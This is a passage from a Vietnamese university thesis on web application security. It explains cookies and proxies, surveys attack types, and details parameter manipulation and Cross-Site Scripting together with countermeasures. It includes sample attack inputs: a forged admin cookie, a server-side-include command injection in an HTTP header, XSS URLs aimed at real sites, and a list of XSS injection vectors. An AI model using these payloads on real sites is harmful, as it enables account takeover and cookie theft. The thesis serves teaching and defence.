Phiên làm việc chỉ tồn tại trong một khoảng thời gian cho phép, thời gian này được

cấu hình qui định tại trình chủ hoặc bởi ứng dụng thực thi. Trình chủ sẽ tự động giải

phóng phiên làm việc để khôi phục lại tài nguyên của hệ thống.

IV. COOKIE

Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa trình chủ và trình

duyệt của người dùng.

Các cookie được lưu trữ dưới những file dữ liệu nhỏ dạng text, được ứng dụng tạo ra

để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm trang Web và

những vùng mà họ đi qua trong trang. Những thông tin này có thể bao gồm tên/định

danh người dùng, mật khẩu, sở thích, thói quen...cookie được trình duyệt của người

dùng chấp nhận lưu trên đĩa cứng của máy mình, tuy nhiên không phải lúc nào trình

duyệt cũng hỗ trợ cookie, mà còn tùy thuộc vào người dùng có chấp nhận chuyện lưu

trữ đó hay không.

Ở những lần truy cập sau đến trang Web đó, ứng dụng có thể dùng lại những thông

tin trong cookie (như thông tin liên quan đến việc đăng nhập vào Yahoo

Messenger!...) mà người dùng không phải làm lại thao tác đăng nhập hay phải cung

cấp lại các thông tin khác.

Cookie được phân làm 2 loại secure/non-secure và persistent/non-persistent do đó ta

sẽ có 4 kiểu cookie là:

Page 26: Bao mat ung_dung_web

Khoa CNTT

Chương 2: Các khái niệm, thuật ngữ liên quan

-Trang 23-

• Persistent và Secure

• Persistent và Non-Secure

• Non-Persistent và Secure

• Non-Persistent và Non-Secure

Persistent cookies được lưu trữ dưới dạng tập tin .txt (ví dụ trình duyệt Netscape

Navigator sẽ lưu các cookie thành một tập tin cookie.txt còn Internet Explorer sẽ lưu

thành nhiều tập tin *.txt trong đó mỗi tập tin là một cookie) trên máy khách trong một

khoản thời gian xác định.

Non-persistent cookie thì được lưu trữ trên bộ nhớ RAM của máy khách và sẽ bị hủy

khi đóng trang web hay nhận được lệnh hủy từ trang web.

Secure cookies chỉ có thể được gửi thông qua HTTPS (SSL).

Non-Secure cookie có thể được gửi bằng cả hai giao thức HTTPS hay HTTP. Thực

chất là đối với secure cookie thì trình chủ sẽ cung cấp chế độ truyền bảo mật.

Các thành phần của một cookie gồm:

Domain Flag Path Secure Expiration Name Value

www.redhat.

com

FALSE / FALSE 1154029490 Apache 64.3.40.151.16

018996349247

480

• Domain: Tên miền của trang web đã tạo cookie ( trong ví dụ trên là

www.redhat.com)

Page 27: Bao mat ung_dung_web

Khoa CNTT

Chương 2: Các khái niệm, thuật ngữ liên quan

-Trang 24-

• Flag: mang giá trị TRUE/FALSE -Xác định các máy khác với cùng tên miền có

được truy xuất đến cookie hay không.

• Path: Phạm vi các địa chỉ có thể truy xuất cookie. Ví dụ:

Nếu path là “/tracuu” thì các địa chỉ trong thư mục /tracuu cũng như tất cả các thư

mục con của nó như /tracuu/baomat có thể truy xuất đến cookie này. Còn nếu giá

tri là “/” thì cookie sẽ được truy xuất bởi tất cả địa chỉ thuộc miền trang web tạo

cookie.

• Sercure: mang giá trị TRUE/FALSE - Xác định đây là một secure cookie hay

không nghĩa là kết nối có sử dụng SSL hay không.

• Expiration: thời gian hết hạn của cookie, được tính bằng giây kể từ 00:00:00 giờ

GMT ngày 01/01/1970. Nếu giá trị này không được thiết lập thì trình duyệt sẽ

hiểu đây là non-persistent cookie và chỉ lưu trong bộ nhớ RAM và sẽ xoá nó khi

trình duyệt bị đóng.

• Name: Tên biến (trong trường hợp này là Apache)

• Value: Với cookie được tạo ở trên thì giá trị của Apache là

64.3.40.151.16018996349247480 và ngày hết hạn là 27/07/2006, của tên miền

http://www.redhat.com.

Ví dụ chuỗi lệnh trong HTTP header dưới đây sẽ tạo một cookie:

Set-Cookie:Apache="64.3.40.151.16018996349247480"; path="/";

domain="www.redhat.com"; path_spec; expires="2006-07-27

19:39:15Z"; version=0

Các cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với đường dẫn

là: C:\Program Files\Netscape\Users\UserName\Cookies.txt

Page 28: Bao mat ung_dung_web

Khoa CNTT

Chương 2: Các khái niệm, thuật ngữ liên quan

-Trang 25-

Các cookies của IE được lưu thành nhiều tập tin, mỗi tập tin là một cookie và

được đặt trong [C:]\Documents and Setting\[username]\Cookies (Win2000), đối

với win9x, thư mục cookies nằm trong thư mục [C:]\Windows\cookies.

Kích thước tối đa của cookie là 4kb. Số cookie tối đa cho một tên miền là 20 cookie.

Cookie bị hủy ngay khi đóng trình duyệt gọi là “session cookie”.

V. PROXY

Proxy cung cấp cho người sử dụng truy xuất Internet những nghi thức đặt biệt hoặc

một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những

chương trình client của người sử dụng sẽ qua trung gian proxy server thay thế cho

server thật sự mà người sử dụng cần giao tiếp.

Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp

ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client

và tiếp tục chuyển tiếp những yêu cầu từ client đến server, cũng như trả lời của

server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client.

Page 29: Bao mat ung_dung_web

Khoa CNTT

Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công

-Trang 26-

Chương 3

GIỚI THIỆU SƠ LƯỢC VỀ CÁC KĨ THUẬT TẤN

CÔNG ỨNG DỤNG WEBNội dung:

I. Kiểm soát quyền truy cập Web

II. Chiếm hữu phiên làm việc

III. Lợi dụng các thiếu sót trong việc kiểm tra dữ liệ hập hợp lệ

IV. Để lộ thông tin

V. Từ chối dịch vụ

Page 30: Bao mat ung_dung_web

Khoa CNTT

Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công

-Trang 27-

CHƯƠNG 3: GIỚI THIỆU SƠ LƯỢC VỀ CÁC KĨ

THUẬT TẤN CÔNG ỨNG DỤNG WEB

Sau đây là các khái niệm sơ lược các kĩ thuật tấn công ứng dụng Web đã được phân

loại dựa trên mức độ gây tác hại đối với ứng dụng.

I. KIỂM SOÁT TRUY CẬP WEB (Web Access Control)

I.1. Thâm nhập hệ thống qua cửa sau (Back door)

Trong quá trình thiết kế ứng dụng, những người phát triển ứng dụng có thể cài

một “cửa sau” (back door) để sau này có thể thâm nhập vào hệ thống một cách dễ

dàng.

II.CHIẾM HỮU PHIÊN LÀM VIỆC(Session Mangement)

II.1. Ấn định phiên làm việc (Session Fixation)

Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ bằng cách gửi

một session ID hợp lệ đến người dùng, sau khi người dùng đăng nhập vào hệ

thống thành công, hacker sẽ dùng lại session ID đó và nghiễm nhiên trở thành

người dùng hợp lệ.

II.2. Đánh cắp phiên làm việc (Session Hijacking)

Page 31: Bao mat ung_dung_web

Khoa CNTT

Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công

-Trang 28-

Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ sau khi nạn

nhân đã đăng nhập vào hệ thống bằng cách giải mã session ID của họ được lưu

trữ trong cookie hay tham số URL, biến ẩn của form.

III. LỢI DỤNG CÁC THIẾU SÓT TRONG VIỆC KIỂM TRA

DỮ LIỆU NHẬP HỢP LỆ (Input validation)

Hacker lợi dụng những ô nhập dữ liệu để gửi đi một đoạn mã bất kì khiến cho hệ

thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn.

III.1. Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía

trình duyệt (Client-Side validation)Do ngôn ngữ phía trình duyệt ( JavaScript, VBScript..) đuợc thực thi trên trình

duyệt nên hacker có thể sửa đổi mã nguồn để có thể vô hiệu hóa sự kiểm tra.

III.2. Tràn bộ đệm (Buffer OverFlow)Một khối lượng dữ liệu được gửi cho ứng dụng vượt quá lượng dữ liệu được cấp

phát khiến cho ứng dụng không thực thi được câu lệnh dự định kế tiếp mà thay

vào đó phải thực thi một đoạn mã bất kì do hacker đưa vào hệ thống. Nghiêm

trọng hơn nếu ứng dụng được cấu hình để thực thi với quyền root trên hệ thống.

III.3. Mã hoá URL (URL Encoding)Lợi dụng chuẩn mã hóa những kí tự đặc biệt trên URL mà hacker sẽ mã hoá tự

động những kí tự bất hợp lệ- những kí tự bị kiểm tra bằng ngôn ngữ kịch bản-để

vượt qua vòng kiểm soát này.

III.4. Kí tự Meta (Meta-characters)

Page 32: Bao mat ung_dung_web

Khoa CNTT

Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công

-Trang 29-

Sử dụng những kí tự đặc biệt ( nói rõ hơn trong phần phụ lục) hacker có thể chèn

thêm vào dữ liệu gửi những kí tự trong chuỗi câu lệnh như <script> trong kĩ thuật

XSS, ‘ -- trong SQL….để thực thi câu lệnh.

III.5. Vượt qua đường dẫn (Path Traversal):Là phương pháp lợi dụng đường dẫn truy xuất một tập tin trên URL để trả kết quả

về cho trình duyệt mà hacker có thể lấy được nội dung tập tin bất kì trên hệ thống.

III.6. Chèn mã lệnh thực thi trên trình duyệt nạn nhân

(Cross- Site Scripting):Đây là kĩ thuật tấn công chủ yếu nhằm vào thông tin trên máy tính của người

dùng hơn là vào hệ thống máy chủ. Bằng cách thêm một đoạn mã bất kì ( thường

được lập trình bằng ngôn ngữ kịch bản như JavaScript, VBScript…), hacker có

thể thực hiện việc đánh cắp thông tin quan trọng như cookie để từ đó trở thành

người dùng hợp lệ của ứng dụng…dựa trên những thông tin đánh cắp này. Cross-

Site scripting cũng là một kiểu tấn công “session hijacking”.

III.7. Thêm câu lệnh hệ thống (OS Command Injection):Khả năng thực thi được những câu lệnh hệ thống hay những đoạn mã được thêm

vào trong những tham số mà không có sự kiểm tra chặt chẽ như tham số của

form, cookies, yêu cầu HTTP Header, và những dữ liệu nguy hiểm trong những

tập tin được đưa lên trình chủ.

Thành công trong kĩ thuật này giúp hacker có thể thực thi được những câu lệnh hệ

thống với cùng quyền của trình chủ.

Page 33: Bao mat ung_dung_web

Khoa CNTT

Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công

-Trang 30-

III.8. Chèn câu truy vấn SQL (SQL Injection)Trong lập trình với cơ sở dữ liệu, người lập trình đã sai sót trong vấn đề kiểm tra

giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câu truy vấn hay những

giá trị không hợp lệ để dễ dàng đăng nhập vào hệ thống.

III.9. Ngôn ngữ phía máy chủ (Server side includes)Là khả năng thêm vào những câu lệnh thuộc hệ thống như nhúng file (include

file), truy xuất cơ sở dữ liệu (jdbc)…khiến cho hacker có cơ hội truy xuất đến file,

cơ sở dữ liệu…mà bình thường không thể xem được trên Web site.

III.10. Kí tự rỗng (Null Characters)Lợi dụng chuỗi kí tự thường kết thúc bằng \0 mà hacker thường thêm vào để đánh

lừa ứng dụng vì với những ứng dụng sử dụng chương trình cgi như C++ thì C++

cho rằng \0 là dấu kết thúc chuỗi.

Ví dụ:

Hacker thêm chuỗi sau:

Ô nhập: đề tài thứ nhất\0<script> alert(document.cookie)</script>

nếu ứng dụng sử dụng chương trình C++ để kiểm tra tính đúng đắn của chuỗi thì

chuỗi trên hợp lệ do C++ sẽ nhân biết “\0” là kết thúc chuỗi nên không kiểm tra

đoạn sau..

III.11. Thao tác trên tham số truyền (Parameter

manipulation)Những thông tin trao đổi giữa trình chủ và trình duyệt được lưu trữ trong những

biến như biến trên URL, biến ẩn form, cookie…Bởi vì việc kiểm soát biến chưa

Page 34: Bao mat ung_dung_web

Khoa CNTT

Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công

-Trang 31-

được quan tâm đúng mức nên hacker có thể lợi dụng sửa đổi giá trị biến để đánh

cắp phiên làm việc của người dùng hay thay đổi giá trị một món hàng….

IV. ĐỂ LỘ THÔNG TIN (informational)Những tập tin và ứng dụng trên hệ thống chứa những thông tin quan trọng như mã

nguồn một trang Web hay tập tin chứa mật khẩu của người dùng trên hệ thống luôn là

mục tiêu của hacker. Ngoài ra những lời chú thích trong mã nguốn cũng là nguồn

thông tin hữu ích cho hacker.

Hacker sử dụng trả lời HTTP từ hệ thống để xác định một tập tin hay ứng dụng có

tồn tại hay không.

Ví dụ 1.IV-1:

• HTTP 200 : tập tin tồn tại

• HTTP 404: tập tin không tồn tại.

V.TỪ CHỐI DỊCH VỤ (Denial of service (DoS)Một khối lượng lớn yêu cầu được gửi cho ứng dụng trong một khoảng thời gian nhất

định khiến hệ thống không đáp ứng kịp yêu cầu dẫn đến hệ thống bị phá vỡ.

Vì khuôn khổ và thời gian của luận văn là có hạn nên luận văn chỉ thực hiện tìm hiểu

một số kĩ thuật phổ biến và khả năng phá hoại một hệ thống mạng với mức độ cao. Và

trong các chương ở phần thứ hai, luận văn sẽ trình bày kĩ hơn từng kĩ thuật sau :

• Thao tác trên tham số truyền

• Chèn mã lệnh thực thi trên trình duyệt

• Chèn câu truy vấn SQL

• Chiếm hữu phiên làm việc

Page 35: Bao mat ung_dung_web

Khoa CNTT

Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công

-Trang 32-

• Tràn bộ đệm

• Từ chối dịch vụ

• Một vài kĩ thuật khác

o Kí tự rỗng

o Mã hóa URL

o Lợi dụng truy xuất đường dẫn đến một tập tin

o Ngôn ngữ phía trình chủ

Page 36: Bao mat ung_dung_web

Khoa CNTT

Phần II: Các kĩ thuật tấn công và bảo mật ứng dụng Web

-Trang 33-

PHẦN THỨ HAI

CÁC KĨ THUẬT TẤN CÔNG VÀ

BẢO MẬT ỨNG DỤNG WEB

Page 37: Bao mat ung_dung_web

Khoa CNTT

Chương 4: Thao tác trên tham số truyền

-Trang 34-

Chương 4

THAO TÁC TRÊN THAM SỐ TRUYỀNNội dung:

I. Thao tác trên URL

II. Thao tác trong biến ấn form

III. Thao tác trên cookie

IV. Thao tác trong HTTP Header

Page 38: Bao mat ung_dung_web

Khoa CNTT

Chương 4: Thao tác trên tham số truyền

-Trang 35-

CHƯƠNG 4:THAO TÁC TRÊN THAM SỐ TRUYỀN

Thao tác trên tham số truyền là kĩ thuật thay đổi thông tin quan trọng trên cookie, URL

hay biến ẩn của form. Kĩ thuật Cross-Site Scripting, SessionID, SQL Injection, Buffer

Overflow…cũng cần dùng đến các tham số này để hoàn thiện các bước tấn công của

hacker. Có thể nói các tham số truyền là đầu mối cho mọi hoạt động của hacker trong

quá trình tấn công ứng dụng. Vì thế đây là nội dung chương đầu tiên được đề cập trong

phần thứ hai, mục đích cũng là để hỗ trợ tốt hơn phần trình bày các chương kế tiếp.

I. THAO TÁC TRÊN URL

I.1. Khái niệm:

Khi nhập một form HTML thì kết quả sẽ được gửi đi theo hai cách: GET hay

POST. Nếu dùng GET, thì tất cả các tên biến và giá trị của nó sẽ xuất hiện trong

chuỗi URL.

Ví dụ 4.I.1-1: Có một trang web ứng dụng cho phép thành viên đã được thay đổi

mật khẩu.

http://www.nganhang.com/example?user=thang&newpass=123

Với:

+ username là tên người cần thay đổi mật khẩu.

+ newpass là mật khẩu mới cho username

Tuy nhiên, bằng cách thay đổi tham số như sau:

Page 39: Bao mat ung_dung_web

Khoa CNTT

Chương 4: Thao tác trên tham số truyền

-Trang 36-

http://www.nganhang.com/example?user=admin&newpass=111111

Hacker đã có thể thay đổi mật khẩu của admin bằng một mật khẩu mới bất kì,

trong ví dụ này là ‘1111111’

I.2. Một số biện pháp khắc phục

Để chống lại kiểu thay đổi nội dung một chuỗi URL, ứng dụng có thể áp dụng

biện pháp sau:

• Ứng dụng sử dụng cơ chế bảng băm (hash table). Sau khi người dùng chứng

thực thành công với một username , ứng dụng sẽ sinh ra một khoá tương ứng.

Khoá này sẽ được lưu trên server cùng với biến username trong đối tượng

bảng băm. Mỗi khi người dùng kết nối đến ứng dụng, khoá và username này

sẽ được gửi đi và được so sánh với khoá và username trong bảng băm. Nếu

tương ứng với bản ghi trong dữ liệu thì hợp lệ. Còn nếu không thì server biết

rằng người dùng đã thay đổi URL.

• Ngoài ra, với những thông tin có giá trị, cần mã hoá thông tin này trước khi

cho hiển thị trên trình duyệt để tránh hacker có thể sửa đổi tùy ý.

II. THAO TÁC TRÊN BIẾN ẨN FORM

II.1. Khái niệm

Thông tin có thể được chuyển đổi thông qua một biến ẩn của form, gọi là Hidden

Form Field. Biến ẩn form không hiển thị trên màn hình trình duyệt nhưng người

dùng có thể tìm thấy nội dung của nó trong “ view source ”, vì thế đây là một

điểm yếu để hacker lợi dụng bằng cách lưu nội dung trang web xuống trình duyệt,

thay đổi nội dung trang và gửi đến trình chủ.

Page 40: Bao mat ung_dung_web

Khoa CNTT

Chương 4: Thao tác trên tham số truyền

-Trang 37-

Ví dụ 4.II.1-1: Form gốc có nội dung như sau:

<form action="http://www.tancong.com/cuahang.pl" method="POST">

...

<input type="hidden" name="giaca" value="99.99">...

</form>

Nếu không có sự thay đổi nào thì yêu cầu đến trình chủ có nội dung :

POST /cuahang.pl HTTP/1.0

...

giaca=99.99

Nhưng nếu hacker gán một giá trị khác cho trường “giaca” :

<form action="http://www.tancong.com/cuahang.pl" method="POST">

...

<input type="hidden" name="giaca" value="0.99">...

</form>

thì yêu cầu sẽ thay đổi:POST /cuahang.pl HTTP/1.0

...

giaca=0.99

Ngoài việc thay đổi nội dung biến ẩn của form, hacker còn biến đổi nội dung các

thành phần trong form, như chiều dài của một ô nhập dữ liệu để thực hiện việc tấn

công “BUFFER OVERFLOW”, …

Page 41: Bao mat ung_dung_web

Khoa CNTT

Chương 4: Thao tác trên tham số truyền

-Trang 38-

II.2. Một số biện pháp khắc phục

• Chỉ nên sử dụng biến ẩn của form để hiển thị dữ liệu trên trình duyệt, không

được sử dụng giá trị của biến để thao tác trong xử lí ứng dụng.

• Dùng biến HTTP_REFERER để kiểm tra nguồn gốc của yêu cầu gửi đến, tuy

nhiên hacker có thể sử dụng Proxy để che dấu nguồn gốc thực của nó, vì vậy

cũng không nên quá tin tưởng biến HTTP_REFERER để kiểm tra.

• Ghép tên và giá trị của biến ẩn thành một chuỗi đơn. Sử dụng thuật toán mã

hoá MD5 hoặc một kiểu hash một chiều khác để tổng hợp chuỗi đó và lưu nó

vào một hidden field gọi là “Chuỗi mẫu”.

Khi giá trị trong form được gửi đi, các thao tác như trên được thực hiện lại với

cùng một khoá mà ta định trước. Sau đó đem so sánh với “Chuỗi mẫu”, nếu

chúng không khớp nhau thì chứng tỏ giá trị trong biểu mẫu đã bị thay đổi.

• Dùng một sessionID để tham chiếu đến thông tin được lưu trữ trên cơ sở dữ

liệu.

Page 42: Bao mat ung_dung_web

Khoa CNTT

Chương 4: Thao tác trên tham số truyền

-Trang 39-

III. THAO TÁC TRÊN COOKIE

III.1. Khái niệm

Ở phần thứ nhất, chương 2, mục IV, luận văn đã trình bày cơ bản khái niệm về

cookie. Trong mục này, luận văn chỉ trình bày cách thay đổi một cookie.

Vì cookie là thành phần lưu trữ thông tin bảo mật nhất nên Cookie thường được

dùng để lưu giữ trạng thái cho giao thức HTTP hơn là biến ẩn form và biến URL.

Nó còn được dùng để lưu trữ những thông tin của người dùng khi sử dụng ứng

dụng và những dữ liệu khác của session. Tất cả các loại cookie như persistent hay

non-persistent, secure hay insecure đều có thể bị thay đổi bởi người dùng và được

gởi về cho trình chủ. Do đó hacker có thể thay đổi nội dung cookie để phá hoại

ứng dụng.

Với những công cụ miễn phí như Winhex thì non-persistent cookie có thể bị thay

đổi nội dung. Còn SSL chỉ có thể bảo vệ cookie trong quá trình truyền.

Ví dụ 4.III.1-1: về cookie dùng để lưu trữ thông tin cho ứng dụng web thông tin

du lịch:

Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ;

Cookie xác định người dùng này không phải là Admin (ADMIN=no), nhưng nếu

hacker thay đổi trường này điều gì sẽ xảy ra? Hacker có thể thay đổi lại thành như

sau:Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12:30GMT ;

Hacker lúc này mang vai trò là một người quản trị của ứng dụng.

Page 43: Bao mat ung_dung_web

Khoa CNTT

Chương 4: Thao tác trên tham số truyền

-Trang 40-

III.2. Một số biện pháp khắc phục

• Sử dụng đối tượng session lưu trữ thông tin quan trọng trên trình chủ. Khi ứng

dụng cần kiểm tra thông tin của một người dùng, ứng dụng sẽ dùng sessionID

của người dùng để chỉ đến thông tin của người dùng đó trong cache hay cơ sở

dữ liệu.

• Xây dựng một cơ chế kiểm tra nội dung của cookie để tìm ra những giá trị

không hợp lệ từ đó biết được cookie đó là giả. Ví dụ là nếu biến cờ “người

quản trị” được được thiết lập là đúng trong cookie, nhưng giá trị của số thứ tự

người dùng trong cookie lại không giống như giá trị số thứ tự của “người quản

trị” được lưu trữ trên server.

• Phương pháp cuối cùng là mã hoá cookie. Có một số phương pháp mã hoá

như symmetric (dùng 1 khóa duy nhất cho cả mã hóa và giải mã) hay

asymmetric (mã hóa dùng 2 khóa riêng biệt, một khóa dùng chung cho mã hóa

và một khóa riêng để giải mã)

IV. THAO TÁC TRONG HTTP HEADER

URL, biến ẩn form, cookie đều là những thành phần lưu trữ thông tin mà người dùng

thông thường có thể xem và thay đổi. Tuy nhiên, những thành phần đó đều được

chuyển đi thông qua HTTP Header. Vì thế, mặc dù HTTP Header không phải là tham

số truyền của một ứng dụng nhưng mọi thông tin đều được lưu trữ vào nó trước khi

chuyển đi nên trong phần này sẽ đề cập đến việc thay đổi một HTTP Header.

IV.1. Khái niệm

Thông thường chỉ có trình duyệt và trình chủ là trao đổi HTTP Header ( xem chi

tiết trong phần thứ nhất, chương 2, mục II), còn hầu hết các ứng dụng web thì

Page 44: Bao mat ung_dung_web

Khoa CNTT

Chương 4: Thao tác trên tham số truyền

-Trang 41-

không. Tuy nhiên, hacker có thể tự viết một chương trình để điều khiển HTTP

header (như xem nội dung, tạo mới) hay sử dụng các proxy miễn phí cho phép

thay đổi dữ liệu được gửi từ trình duyệt. Ngoài ra hacker có thể tấn công trực tiếp

bằng cách telnet gửi HTTP Request đến trình chủ.

Ví dụ 4.IV.1-1:su-2.05# telnet localhost 80

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

GET / HTTP/1.0

Referer: www.redhat.com/login.aspUser-Agent: <!--#exec cmd="/bin/id"-->HTTP/1.1 200 OK

Date: Mon, 17 Dec 2001 20:39:02 GMT

Server:

Connection: close

Content-Type: text/html

Phần in đậm là nội dung hacker thay đổi.

Ví dụ 4.IV.1-2:

Referer header chứa URL của trang web mà từ đó yêu cầu được gửi đi. Vì thế

một vài ứng dụng sẽ kiểm tra thành phần này trong header để đảm bảo rằng nó

được gửi từ trang web của ứng dụng đó. Việc làm này dùng để ngăn chặn việc

hacker lưu lại trang web xuống máy, chỉnh sửa thuộc tính form, phá hoại bằng

cách nhằm vào client side validate hay server side include, sau đó gửi đi. Nhưng

phương pháp kiểm tra này sẽ thất bại khi hacker có thể sửa lại Referer header để

nó giống như được gửi từ trang web hợp lệ.

Page 45: Bao mat ung_dung_web

Khoa CNTT

Chương 4: Thao tác trên tham số truyền

-Trang 42-

Referer: www.redhat.com/login.asp

IV.2. Một số biện pháp khắc phục

Đơn giản là không tin tưởng vào HTTP header nếu chưa có các biện pháp an toàn.

Với các header gửi từ trình chủ, chẳng hạn như cookie thì có thể được mã hoá.

Còn với các header gửi từ trình khách thì không nên dùng các tham số như

referer,… để thực hiện các biện pháp an toàn.

Nhận xét:Mọi thông tin quan trọng trao đổi giữa trình duyệt và trình chủ không nên lưu trữ

dưới dạng chuỗi thông thường mà cần được mã hóa, ngoài ra những thông tin này

nên được kiểm tra, đối chiếu với dữ liệu trong cơ sở dữ liệu hay trong cache của trình

chủ, phòng tránh trường hợp nội dung thông tin bị sai lệch.

Bên cạnh đó, việc kiểm tra dữ liệu đúng đắn là cần thiết vì hầu như các kĩ thuật tấn

công đều dựa vào dữ liệu nhập trên URL, biến ẩn form hay cookie như kiểu tấn công

Cross-Site Scripting trong chương kế tiếp hay SQL Injection trong chương 6…

Page 46: Bao mat ung_dung_web

Khoa CNTT

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

-Trang 43-

Chương 5

CHÈN MÃ LỆNH THỰC THI TRÊN

TRÌNH DUYỆT NẠN NHÂNNội dung:

I. Cross Site Scripting (XSS)

II. Phương pháp tấn công XSS truyền thống.

III. Một số WebSite tìm thấy lỗ hổng XSS.

IV. Tấn công XSS bằng Flash.

V. Cách phòng chống.

Page 47: Bao mat ung_dung_web

Khoa CNTT

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

-Trang 44-

CHƯƠNG 5:

CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT

NẠN NHÂN (CROSS SITE SCRIPTING)

I. KĨ THUẬT TẤN CÔNG CROSS SITE SCRIPTING (XSS)

Phương pháp Cross Site Scripting (được viết tắt là XSS) là phương pháp tấn công

bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập được những

thông tin quan trọng như cookies, mật khẩu,… vào mã nguồn ứng dụng web để từ đó

chúng được chạy như là một phần của ứng dụng Web và có chức năng cung cấp hoặc

thực hiện những những điều hacker muốn.

Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính

máy người sử dụng. Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết

hạn chế của người dùng cũng như biết đánh vào sự tò mò của họ dẫn đến người dùng

bị mất thông tin một cách dễ dàng.

Thông thường hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích

hoạt những đoạn chương trình được viết bằng ngôn ngữ máy khách như VBScript,

JavaScript…được thực thi trên chính trình duyệt của nạn nhân.

Ví Dụ 5.I-1:http://hotwired.lycos.com/webmonkey/00/index1.html?tw=<script>alert(document.cookie);</script>

Page 48: Bao mat ung_dung_web

Khoa CNTT

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

-Trang 45-

hay:

http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

Phần in đậm là đoạn mã được thêm vào với mục đích đánh cắp cookies của nạn nhân.

Trong những ví dụ 2.I-1 trên, hầu hết những tiền tố URL là địa chỉ của những ứng

dụng Web có thật (VD: http://www.microsoft.com/education,

http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/...) lợi dụng cách truyền tham số

trên URL mà hacker có thể dễ dàng thêm vào đoạn mã đánh cắp cookie.

Ví dụ 5.I-1 trên chỉ minh họa một cách đơn giản là thêm đoạn mã của mình vào trang

Web thông qua URL. Nhưng thực sự thì có rất nhiều cách để thêm đoạn mã

JavaScript với mục đích tấn công kiểu XSS. Hacker có thể dễ dàng lợi dụng

Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web ứng dụng.

Sau đây là danh sách nơi có thể chèn đoạn mã:

Ví dụ 5.I-2:<a href="javas&#99;ript&#35;[code]"><div onmouseover="[code]"><img src="javascript:[code]"><img dynsrc="javascript:[code]"><input type="image" dynsrc="javascript:[code]"><bgsound src="javascript:[code]">&<script>[code]</script>&{[code]};<img src=&{[code]};><liên kết rel="stylesheet" href="javascript:[code]"><iframe src="vbscript:[code]"><img src="mocha:[code]">

Page 49: Bao mat ung_dung_web

Khoa CNTT

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

-Trang 46-

<img src="livescript:[code]"><a href="about:<s&#99;ript>[code]</script>"><meta http-equiv="refresh" content="0;url=javascript:[code]"><body onload="[code]"><div style="background-image: url(javascript:[code]);"><div style="behaviour: url([liên kết to code]);"><div style="binding: url([liên kết to code]);"><div style="width: expression([code]);"><style type="text/javascript">[code]</style><object classid="clsid:..." codebase="javascript:[code]"><script>[code]</script><img src="blah"onmouseover="[code]"><img src="blah>" onmouseover="[code]"><xml src="javascript:[code]"><xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a></xml>(tài liệu từ http://online.securityfocus.com/archive/1/272037/2002-05-09/2002-05-15/0)

Phần in đậm là phần có thể đặt đoạn mã đánh cắp thông tin.

II. PHƯƠNG PHÁP TẤN CÔNG XSS TRUYỀN THỐNG

Ứng dụng Web thường lưu trữ thông tin quan trọng ở cookie. Cookie là mẩu thông

tin mà ứng dụng lưu trên đĩa cứng của người sử dụng. Nhưng chỉ ứng dụng thiết lập

ra cookie thì mới có thể đọc nó. Do đó chỉ khi người dùng đang trong phiên làm việc

của ứng dụng thì hacker mới có cơ hội đánh cắp cookie. Công việc đầu tiên của

hacker là tìm trang đích để dụ người dùng đăng nhập sau khi đã tìm ra lỗ hổng trên

ứng dụng đó.

Các bước thực hiện XSS truyền thống:

Page 50: Bao mat ung_dung_web

Khoa CNTT

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

-Trang 47-

Hình 5.II-1. Quá trình thực hiện XSS

Tóm tắt các bước thực hiện:

• Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ

hỏng XSS.

• Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang

Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo

ra…). Thông thường hacker khiến người dùng chú ý bằng những câu kích thích

sự tò mò của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn

đang chờ bạn”…

• Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của

hacker.

• Bước 4: Hacker tạo một chương trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một

trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin

• Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm

nhập vào tài khoản của người dùng.

Page 51: Bao mat ung_dung_web

Khoa CNTT

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

-Trang 48-

